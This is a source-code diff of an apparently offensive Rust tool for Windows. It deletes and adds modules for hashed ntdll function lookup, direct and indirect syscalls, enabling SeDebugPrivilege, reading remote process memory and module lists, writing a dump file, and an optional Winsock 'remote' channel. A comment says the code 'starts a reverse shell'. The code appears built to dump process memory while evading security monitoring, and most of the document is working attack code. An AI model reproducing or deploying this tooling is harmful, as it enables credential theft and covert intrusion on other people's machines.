if ntstatus != 0 {
debug_println!("[-] NtAdjustPrivilegesToken failed with status: ", ntstatus);
return ntstatus;
}
ntstatus
}
-152
View File
@@ -1,152 +0,0 @@
use core::alloc::{GlobalAlloc, Layout};
use core::cell::UnsafeCell;
use core::ffi::c_void;
use core::ptr::null_mut;
use core::sync::atomic::Ordering;
use core::sync::atomic::{AtomicBool, AtomicIsize};
use crate::common::ldrapi::{ldr_function, ldr_module};
use crate::run_syscall;
use super::syscall::NtSyscall;
use super::syscall_gate::get_ssn;
// Atomic flag contains the last status of an NT syscall.
pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0);
// Atomic flag to ensure initialization happens only once.
static INIT: AtomicBool = AtomicBool::new(false);
// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability.
static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> =
UnsafeCell::new(None);
static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> = UnsafeCell::new(None);
/// Unsafe function to perform the initialization of the static variables.
/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`.
pub unsafe fn initialize() {
// Check if initialization has already occurred.
if !INIT.load(Ordering::Acquire) {
// Get the address of ntdll module in memory.
let ntdll_address = ldr_module(0x1edab0ed);
// Initialize the syscall for NtAllocateVirtualMemory.
let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec);
let alloc_syscall = NtSyscall {
address: alloc_syscall_address,
number: get_ssn(alloc_syscall_address),
hash: 0xf783b8ec,
};
*NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall);
// Initialize the syscall for NtFreeVirtualMemory.
let free_syscall_address = ldr_function(ntdll_address, 0x2802c609);
let free_syscall = NtSyscall {
address: free_syscall_address,
number: get_ssn(free_syscall_address),
hash: 0x2802c609,
};
*NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall);
// Set the initialization flag to true.
INIT.store(true, Ordering::Release);
}
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT.load(Ordering::Acquire) {
initialize();
}
}
}
/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first.
fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall {
ensure_initialized();
unsafe {
NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL
.get()
.as_ref()
.unwrap()
.as_ref()
.unwrap()
}
}
/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first.
fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall {
ensure_initialized();
unsafe {
NT_FREE_VIRTUAL_MEMORY_SYSCALL
.get()
.as_ref()
.unwrap()
.as_ref()
.unwrap()
}
}
/// Custom allocator using NT system calls.
pub struct NtVirtualAlloc;
unsafe impl GlobalAlloc for NtVirtualAlloc {
/// Allocates memory as described by the given `layout` using NT system calls.
///
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
/// reading and writing. This is appropriate for most use cases like vectors and strings.
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
// Pointer to the allocated memory.
let mut p_address: *mut c_void = null_mut();
// Size of the memory to allocate.
let region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
let alloc_syscall = get_nt_allocate_virtual_memory_syscall();
let ntstatus = run_syscall!(
(*alloc_syscall).number,
(*alloc_syscall).address as usize,
h_process,
&mut p_address,
0,
&mut (region_size as usize) as *mut usize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x04 // PAGE_READWRITE
);
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
// If the allocation fails, return null; otherwise, return the allocated address.
p_address as *mut u8
}
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
///
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
// Size of the memory to deallocate.
let mut region_size = layout.size();
// Handle to the current process (-1).
let h_process: *mut u8 = -1isize as _;
let free_syscall = get_nt_free_virtual_memory_syscall();
let ntstatus = run_syscall!(
(*free_syscall).number,
(*free_syscall).address as usize,
h_process,
&mut (ptr as *mut c_void),
&mut region_size,
0x8000 // MEM_RELEASE
);
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
}
}
-150
View File
@@ -1,150 +0,0 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use crate::debug_println;
use alloc::vec::Vec;
use super::{def::IoStatusBlock, g_instance::instance};
use super::{
def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString},
utils::{build_nt_path, get_current_directory},
};
pub const SYNCHRONIZE: AccessMask = 0x00100000;
pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000;
pub const FILE_WRITE_DATA: AccessMask = 0x00000002;
pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100;
pub const FILE_WRITE_EA: AccessMask = 0x00000010;
pub const FILE_APPEND_DATA: AccessMask = 0x00000004;
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
| FILE_WRITE_DATA
| FILE_WRITE_ATTRIBUTES
| FILE_WRITE_EA
| FILE_APPEND_DATA
| SYNCHRONIZE;
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
pub const FILE_SHARE_READ: AccessMask = 0x00000001;
pub const FILE_SHARE_WRITE: AccessMask = 0x00000002;
pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
use core::{ffi::c_void, ptr::null_mut};
unsafe {
let mut handle: *mut c_void = null_mut();
// Retrieve current directory and handle failure
let cwd = get_current_directory();
if cwd.is_empty() {
debug_println!("[-] Failed to retrieve current working directory");
return -1;
}
let mut buffer = [0u8; 1024];
// Build NT path and handle failure
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
if file_name.is_empty() {
debug_println!("[-] Failed to build NT path for file");
return -1;
}
let file_path: Vec<u16> = {
let mut vec = Vec::with_capacity(file_name.len() + 1);
for c in file_name.encode_utf16() {
vec.push(c);
}
vec.push(0);
vec
};
// Initialize the Unicode string for the registry value name
let mut unicode_string = UnicodeString::new();
unicode_string.init(file_path.as_ptr());
let mut object_attributes = ObjectAttributes::new();
ObjectAttributes::initialize(
&mut object_attributes,
&mut unicode_string, // NT path name
0, // Flags for case-insensitivity and inheritance
null_mut(), // No root directory
null_mut(), // No security descriptor
);
let mut io_status_block: IoStatusBlock = core::mem::zeroed();
let allocation_size: *mut LargeInteger = null_mut();
let desired_access: AccessMask = FILE_GENERIC_WRITE | SYNCHRONIZE;
let share_access: AccessMask = FILE_SHARE_READ | FILE_SHARE_WRITE;
let create_options: AccessMask = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
let create_disposition: AccessMask = FILE_OVERWRITE_IF;
// Create the file using NtCreateFile
let status: i32 = instance().ntdll.nt_create_file.run(
&mut handle,
desired_access,
&mut object_attributes,
&mut io_status_block,
allocation_size,
0,
share_access,
create_disposition,
create_options,
null_mut(),
0,
);
if status < 0 {
debug_println!(
"[-] Failed to create file with status: NTSTATUS: 0x{:X}",
status
);
return status;
}
// Initialize IO_STATUS_BLOCK for NtWriteFile
let mut io_status_block_write: IoStatusBlock = core::mem::zeroed();
// Write the file content using NtWriteFile
let status_write = instance().ntdll.nt_write_file.run(
handle,
null_mut(),
null_mut(),
null_mut(),
&mut io_status_block_write,
dump_file_bytes.as_ptr() as *mut c_void,
dump_file_bytes.len() as u32,
null_mut(),
null_mut(),
);
if status_write < 0 {
debug_println!(
"[-] Failed to write to file with status: NTSTATUS: 0x{:X}",
status_write
);
instance().ntdll.nt_close.run(handle);
} else {
debug_println!(
"[+] File {} ({}) created successfully.",
file_name,
dump_file_bytes.len()
);
}
// Close the file handle
instance().ntdll.nt_close.run(handle);
status_write
}
}
-157
View File
@@ -1,157 +0,0 @@
use core::{
cell::UnsafeCell,
sync::atomic::{AtomicBool, Ordering},
};
use super::syscall_gate::get_ssn;
use crate::{
common::ldrapi::{ldr_function, ldr_module},
ntapi::syscall::NtDll,
};
#[repr(C)]
pub struct Instance {
pub ntdll: NtDll, // NtDll API functions
}
impl Instance {
pub fn new() -> Self {
Instance {
ntdll: NtDll::new(),
}
}
}
static INIT_INSTANCE: AtomicBool = AtomicBool::new(false);
pub static mut INSTANCE: UnsafeCell<Option<Instance>> = UnsafeCell::new(None);
/// Retrieves a reference to the global instance.
pub unsafe fn instance() -> &'static Instance {
ensure_initialized();
return INSTANCE.get().as_ref().unwrap().as_ref().unwrap();
}
/// Function to ensure that initialization is performed if it hasn't been already.
fn ensure_initialized() {
unsafe {
if !INIT_INSTANCE.load(Ordering::Acquire) {
init_native();
}
}
}
unsafe fn init_native() {
if !INIT_INSTANCE.load(Ordering::Acquire) {
let mut instance = Instance::new();
const NTDLL_HASH: u32 = 0x1edab0ed;
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
// Resolve LdrLoadDll
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
// NtAllocateVirtualMemory
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
);
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
// NtFreeVirtualMemory
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_free_virtual_memory.syscall.hash,
);
instance.ntdll.nt_free_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
// NtReadVirtualMemory
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_read_virtual_memory.syscall.hash,
);
instance.ntdll.nt_read_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
// NtQueryVirtualMemory
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_virtual_memory.syscall.hash,
);
instance.ntdll.nt_query_virtual_memory.syscall.number =
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
// NtOpenProcess
instance.ntdll.nt_open_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process.syscall.hash,
);
instance.ntdll.nt_open_process.syscall.number =
get_ssn(instance.ntdll.nt_open_process.syscall.address);
// NtQuerySystemInformation
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_system_information.syscall.hash,
);
instance.ntdll.nt_query_system_information.syscall.number =
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
// NtQueryInformationProcess
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_query_information_process.syscall.hash,
);
instance.ntdll.nt_query_information_process.syscall.number =
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
// NtCreateFile
instance.ntdll.nt_create_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_create_file.syscall.hash,
);
instance.ntdll.nt_create_file.syscall.number =
get_ssn(instance.ntdll.nt_create_file.syscall.address);
// NtWriteFile
instance.ntdll.nt_write_file.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_write_file.syscall.hash,
);
instance.ntdll.nt_write_file.syscall.number =
get_ssn(instance.ntdll.nt_write_file.syscall.address);
// NtClose
instance.ntdll.nt_close.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_close.syscall.hash,
);
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
// NtOpenProcessToken
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_open_process_token.syscall.hash,
);
instance.ntdll.nt_open_process_token.syscall.number =
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
// NtAdjustPrivilegesToken
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
instance.ntdll.module_base,
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
);
instance.ntdll.nt_adjust_privileges_token.syscall.number =
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
*INSTANCE.get() = Some(instance);
// Set the initialization flag to true.
INIT_INSTANCE.store(true, Ordering::Release);
}
}
-249
View File
@@ -1,249 +0,0 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::string::String;
use alloc::vec;
use alloc::vec::Vec;
use core::ffi::c_void;
use crate::{
common::utils::dbj2_hash,
debug_println,
mdfile::ModuleInfo,
ntapi::def::{MemoryBasicInformation, ProcessBasicInformation},
};
use super::g_instance::instance;
/// Reads memory from a remote process into a buffer.
///
/// Takes a process handle, an address, and the size of the memory to read.
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
pub fn read_memory(
process_handle: *mut c_void,
address: *mut c_void,
size: usize,
) -> Option<Vec<u8>> {
// Allocate a buffer for the memory to be read.
let mut buffer = vec![0u8; size];
let mut bytes_read: usize = 0;
// Perform the memory read operation using the NT API.
let result = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
address,
buffer.as_mut_ptr() as *mut c_void,
size,
&mut bytes_read,
)
};
// Return the buffer if successful, otherwise return None.
if result == 0 && bytes_read > 0 {
Some(buffer)
} else {
None
}
}
/// Queries information about a memory region in a remote process.
///
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
/// or `None` if querying fails.
pub fn query_memory_info(
process_handle: *mut c_void,
base_address: *mut c_void,
) -> Option<MemoryBasicInformation> {
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
// Query memory information for the given address in the remote process.
let result = unsafe {
instance().ntdll.nt_query_virtual_memory.run(
process_handle,
base_address,
0,
&mut mem_info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInformation>() as usize,
core::ptr::null_mut(),
)
};
// Return memory information if successful, otherwise return None.
if result == 0 {
Some(mem_info)
} else {
None
}
}
/// Reads a wide string (UTF-16) from a remote process's memory.
///
/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
/// If reading fails or the string is invalid, returns an empty `String`.
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
let mut bytes_read: usize = 0;
// Read memory from the remote process.
let status = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
if status == 0 {
let mut u16_vec = Vec::new();
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
for chunk in buffer.chunks(2) {
if chunk.len() < 2 {
break;
}
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
if word == 0 {
break;
}
u16_vec.push(word);
}
// Convert the UTF-16 data into a Rust String.
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
} else {
String::new()
}
}
/// Reads a pointer-sized integer from a remote process's memory.
///
/// Returns the integer value read from the memory address in the remote process,
/// or `0` if the read operation fails.
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
let mut bytes_read: usize = 0;
// Read the pointer-sized integer from the remote process.
let status = unsafe {
instance().ntdll.nt_read_virtual_memory.run(
process_handle,
mem_address,
buffer.as_mut_ptr() as *mut c_void,
buffer.len(),
&mut bytes_read,
)
};
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
if status == 0 {
let value = u64::from_le_bytes(buffer);
value as usize
} else {
0
}
}
/// Retrieves the list of loaded modules in a process's memory.
///
/// Uses the process handle to query the PEB (Process Environment Block) and retrieves
/// information about the loaded modules in the process. Optionally filters modules by a hash.
pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option<u32>) -> Vec<ModuleInfo> {
let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() };
let mut return_length: u32 = 0;
// Query the process information to get the PEB base address.
let status = unsafe {
instance().ntdll.nt_query_information_process.run(
process_handle as *mut c_void,
0, // ProcessBasicInformation
&mut process_information as *mut _ as *mut c_void,
core::mem::size_of::<ProcessBasicInformation>() as u32,
&mut return_length,
)
};
if status != 0 {
panic!("[-] Failed to query process information.");
}
debug_println!(
"[+] PEB Base Address: 0x{:x}",
process_information.peb_base_address as usize
);
// Compute the address of the loader's data structure from the PEB.
let ldr_offset = 0x18;
let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void;
let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer);
// Get the address of the module list from the loader data.
let in_initialization_order_module_list_offset = 0x30;
let module_list_address =
(ldr_address + in_initialization_order_module_list_offset) as *mut c_void;
let mut next_flink = read_remote_int_ptr(process_handle, module_list_address);
// Offsets within the LDR module structure.
let flink_dllbase_offset = 0x20;
let flink_buffer_fulldllname_offset = 0x40;
let flink_buffer_offset = 0x50;
let mut module_info_arr: Vec<ModuleInfo> = Vec::new();
let mut dll_base = 1337;
// Loop through the module list until the base address is zero.
while dll_base != 0 {
next_flink -= 0x10;
// Read the base address of the module.
dll_base = read_remote_int_ptr(
process_handle,
(next_flink + flink_dllbase_offset) as *mut c_void,
);
if dll_base == 0 {
break;
}
// Read the base and full DLL names from memory.
let base_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_offset) as *mut c_void,
) as *mut c_void;
let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr);
let full_dll_name_ptr = read_remote_int_ptr(
process_handle,
(next_flink + flink_buffer_fulldllname_offset) as *mut c_void,
) as *mut c_void;
let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
// If a module hash is provided, filter by hash; otherwise, include all modules.
match module_hash {
Some(value) => {
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
break; // Stop searching after finding the matching module.
}
}
None => {
module_info_arr.push(ModuleInfo {
base_name: base_dll_name,
full_dll_name,
base_address: dll_base,
region_size: 0,
});
}
}
// Move to the next module in the list.
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
}
module_info_arr
}
-12
View File
@@ -1,12 +0,0 @@
#[cfg(not(feature = "remote"))]
pub mod file;
pub mod allocator;
pub mod def;
pub mod g_instance;
pub mod memory;
pub mod privilege;
pub mod process;
pub mod syscall;
pub mod syscall_gate;
pub mod utils;
-66
View File
@@ -1,66 +0,0 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use core::{ffi::c_void, ptr::null_mut};
use crate::debug_println;
use super::{
def::{TokenPrivileges, LUID},
g_instance::instance,
};
/// This function enables the SeDebugPrivilege privilege using the NT API.
pub unsafe fn enable_se_debug_privilege() -> i32 {
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
const TOKEN_QUERY: u32 = 8u32;
let current_process_handle = -1isize as *mut c_void;
let mut token_handle: *mut c_void = null_mut();
// Open the process token.
let ntstatus = instance().ntdll.nt_open_process_token.run(
current_process_handle,
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
&mut token_handle,
);
if ntstatus != 0 {
debug_println!(
"[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{:X}",
ntstatus
);
return ntstatus;
}
let luid = LUID {
low_part: 20,
high_part: 0,
};
let mut token_privileges = TokenPrivileges {
privilege_count: 1,
luid: luid,
attributes: 0x00000002,
};
// Adjust token privileges to enable SeDebugPrivilege.
let ntstatus = instance().ntdll.nt_adjust_privileges_token.run(
token_handle,
false,
&mut token_privileges,
core::mem::size_of::<TokenPrivileges>() as u32,
null_mut(),
null_mut(),
);
if ntstatus != 0 {
debug_println!(
"[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{:X}",
ntstatus
);
return ntstatus;
}
ntstatus
}
-81
View File
@@ -1,81 +0,0 @@
use super::def::{find_peb, OSVersionInfo};
#[cfg(not(feature = "remote"))]
use crate::{common::utils::unicodestring_to_string, ntapi::def::RtlUserProcessParameters};
#[cfg(not(feature = "remote"))]
use alloc::string::String;
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
// Get the pointer to the PEB
let peb = find_peb();
if lp_version_information.dw_os_version_info_size
!= core::mem::size_of::<OSVersionInfo>() as u32
{
return -1;
}
// Fill in the version information from the PEB
lp_version_information.dw_major_version = (*peb).os_major_version;
lp_version_information.dw_minor_version = (*peb).os_minor_version;
lp_version_information.dw_build_number = (*peb).os_build_number;
lp_version_information.dw_platform_id = (*peb).os_platform_id;
lp_version_information.sz_csd_version.fill(0);
0
}
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
#[cfg(not(feature = "remote"))]
pub fn get_current_directory() -> String {
unsafe {
let peb = find_peb();
if !peb.is_null() {
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
let dir_str = unicodestring_to_string(&(*cur_dir));
if dir_str.is_some() {
return dir_str.unwrap();
}
}
}
String::new()
}
/// Builds an NT path based on the current working directory (cwd) and a file name.
#[cfg(not(feature = "remote"))]
pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
let mut offset = 0;
let nt_prefix = b"\\??\\";
if nt_prefix.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold NT prefix.");
return "";
}
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
offset += nt_prefix.len();
let cwd_bytes = cwd.as_bytes();
if offset + cwd_bytes.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold current working directory.");
return "";
}
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
offset += cwd_bytes.len();
let file_name_bytes = file_name.as_bytes();
if offset + file_name_bytes.len() > buffer.len() {
// debug_println!("[-] Buffer too small to hold file name.");
return "";
}
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
offset += file_name_bytes.len();
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
result_str
} else {
// debug_println!("[-] Failed to convert buffer to UTF-8 string.");
""
}
}
+116
View File
@@ -0,0 +1,116 @@
use core::{arch::global_asm, ffi::c_void};
use crate::{
dumpit,
instance::Instance,
native::{ntapi::init_ntdll_funcs, ntdef::find_peb},
};
#[cfg(feature = "debug")]
use crate::debug::k32::init_kernel32_funcs;
#[cfg(feature = "remote")]
use crate::remote::winsock::init_winsock_funcs;
#[no_mangle]
pub extern "C" fn initialize() {
unsafe {
// Stack allocation of Instance
let mut instance = Instance::new();
// Append instance address to PEB.ProcessHeaps
let instance_ptr: *mut c_void = &mut instance as *mut _ as *mut c_void;
let peb = find_peb();
let process_heaps = (*peb).process_heaps as *mut *mut c_void;
let number_of_heaps = (*peb).number_of_heaps as usize;
// Increase the NumberOfHeaps
(*peb).number_of_heaps += 1;
// Append the instance_ptr
*process_heaps.add(number_of_heaps) = instance_ptr;
// Proceed to main function
main();
}
}
/// Initializes system modules and functions, and then starts a reverse shell.
unsafe fn main() {
init_ntdll_funcs();
#[cfg(feature = "debug")]
init_kernel32_funcs();
#[cfg(feature = "remote")]
init_winsock_funcs();
dumpit();
}
global_asm!(
r#"
.globl _start
.globl isyscall
.section .text
_start:
push rsi
mov rsi, rsp
and rsp, 0xFFFFFFFFFFFFFFF0
sub rsp, 0x20
call initialize
mov rsp, rsi
pop rsi
ret
isyscall:
mov [rsp - 0x8], rsi
mov [rsp - 0x10], rdi
mov [rsp - 0x18], r12
xor r10, r10
mov rax, rcx
mov r10, rax
mov eax, ecx
mov r12, rdx
mov rcx, r8
mov r10, r9
mov rdx, [rsp + 0x28]
mov r8, [rsp + 0x30]
mov r9, [rsp + 0x38]
sub rcx, 0x4
jle skip
lea rsi, [rsp + 0x40]
lea rdi, [rsp + 0x28]
rep movsq
skip:
mov rcx, r12
mov rsi, [rsp - 0x8]
mov rdi, [rsp - 0x10]
mov r12, [rsp - 0x18]
jmp rcx
"#
);
extern "C" {
pub fn _start();
}
#[cfg(not(feature = "debug"))]
#[macro_export]
macro_rules! debug_println {
($msg:expr) => {};
($msg:expr, $val:expr) => {};
($msg:expr, $val:expr, $as_hex:expr) => {};
}
+136 -125
View File
@@ -1,21 +1,18 @@
#[cfg(feature = "verbose")]
use libc_print::libc_println;
use alloc::ffi::CString;
use alloc::vec::Vec;
use core::{
ffi::c_void,
mem::{transmute, zeroed},
ptr::{null, null_mut},
sync::atomic::{AtomicBool, Ordering},
};
use crate::common::ldrapi::ldr_function;
use crate::ntapi::def::UnicodeString;
use crate::ntapi::g_instance::instance;
use alloc::{ffi::CString, vec::Vec};
use crate::debug_println;
use crate::{
common::ldrapi::ldr_function, debug_println, instance::get_instance,
native::ntdef::UnicodeString,
};
#[allow(non_camel_case_types)]
pub type SOCKET = usize;
// Data structures for Winsock
#[repr(C)]
@@ -60,6 +57,22 @@ pub struct AddrInfo {
pub ai_next: *mut AddrInfo,
}
#[allow(non_camel_case_types)]
#[repr(C)]
#[derive(Clone, Copy)]
pub struct FD_SET {
pub fd_count: u32,
pub fd_array: [SOCKET; 64],
}
#[allow(non_camel_case_types)]
#[repr(C)]
#[derive(Clone, Copy)]
pub struct TIMEVAL {
pub tv_sec: i32,
pub tv_usec: i32,
}
// Define function types for Winsock functions
type WSAStartupFunc =
unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32;
@@ -79,9 +92,18 @@ type GetAddrInfoFunc = unsafe extern "system" fn(
) -> i32;
type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo);
type Ioctlsocket = unsafe extern "system" fn(s: SOCKET, cmd: i32, argp: *mut u32) -> i32;
type Select = unsafe extern "system" fn(
nfds: i32,
readfds: *mut FD_SET,
writefds: *mut FD_SET,
exceptfds: *mut FD_SET,
timeout: *mut TIMEVAL,
) -> i32;
type WSAGetLastError = unsafe extern "system" fn() -> i32;
// Structure to hold function pointers
pub struct Winsock {
pub wsa_startup: WSAStartupFunc,
pub wsa_cleanup: WSACleanupFunc,
@@ -94,11 +116,12 @@ pub struct Winsock {
pub htons: HtonsFunc,
pub getaddrinfo: GetAddrInfoFunc,
pub freeaddrinfo: FreeAddrInfoFunc,
pub ioctlsocket: Ioctlsocket,
pub select: Select,
pub wsa_get_last_error: WSAGetLastError,
}
impl Winsock {
// Function to initialize the Winsock structure with null values
pub fn new() -> Self {
Winsock {
wsa_startup: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
@@ -112,6 +135,8 @@ impl Winsock {
htons: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
ioctlsocket: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
select: unsafe { core::mem::transmute(core::ptr::null::<core::ffi::c_void>()) },
wsa_get_last_error: unsafe {
core::mem::transmute(core::ptr::null::<core::ffi::c_void>())
},
@@ -119,41 +144,31 @@ impl Winsock {
}
}
// Global variable to store Winsock functions
static mut WINSOCK_FUNCS: Option<Winsock> = None;
// Atomic variable to track if Winsock functions have been initialized
static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false);
/// Initializes Winsock functions.
///
/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library.
/// It ensures that the functions are loaded only once using atomic operations.
/// The function does not return any values.
pub fn init_winsock_funcs() {
unsafe {
if !INIT_WINSOCKS.load(Ordering::Acquire) {
// Constants representing hash values of Winsock function names
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
pub const CONNECT_DBJ2: usize = 0xe73478ef;
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
pub const RECV_DBJ2: usize = 0x7c8b3515;
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
pub const HTONS_DBJ2: usize = 0xd454eb1;
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
pub const WSAGETLASTERROR_H: usize = 0x9c1d912e;
pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3;
pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8;
pub const SOCKET_DBJ2: usize = 0xcf36c66e;
pub const CONNECT_DBJ2: usize = 0xe73478ef;
pub const SEND_DBJ2: usize = 0x7c8bc2cf;
pub const RECV_DBJ2: usize = 0x7c8b3515;
pub const CLOSESOCKET_DBJ2: usize = 0x185953a4;
pub const INET_ADDR_DBJ2: usize = 0xafe73c2f;
pub const HTONS_DBJ2: usize = 0xd454eb1;
pub const GETADDRINFO_DBJ2: usize = 0x4b91706c;
pub const FREEADDRINFO_DBJ2: usize = 0x307204e;
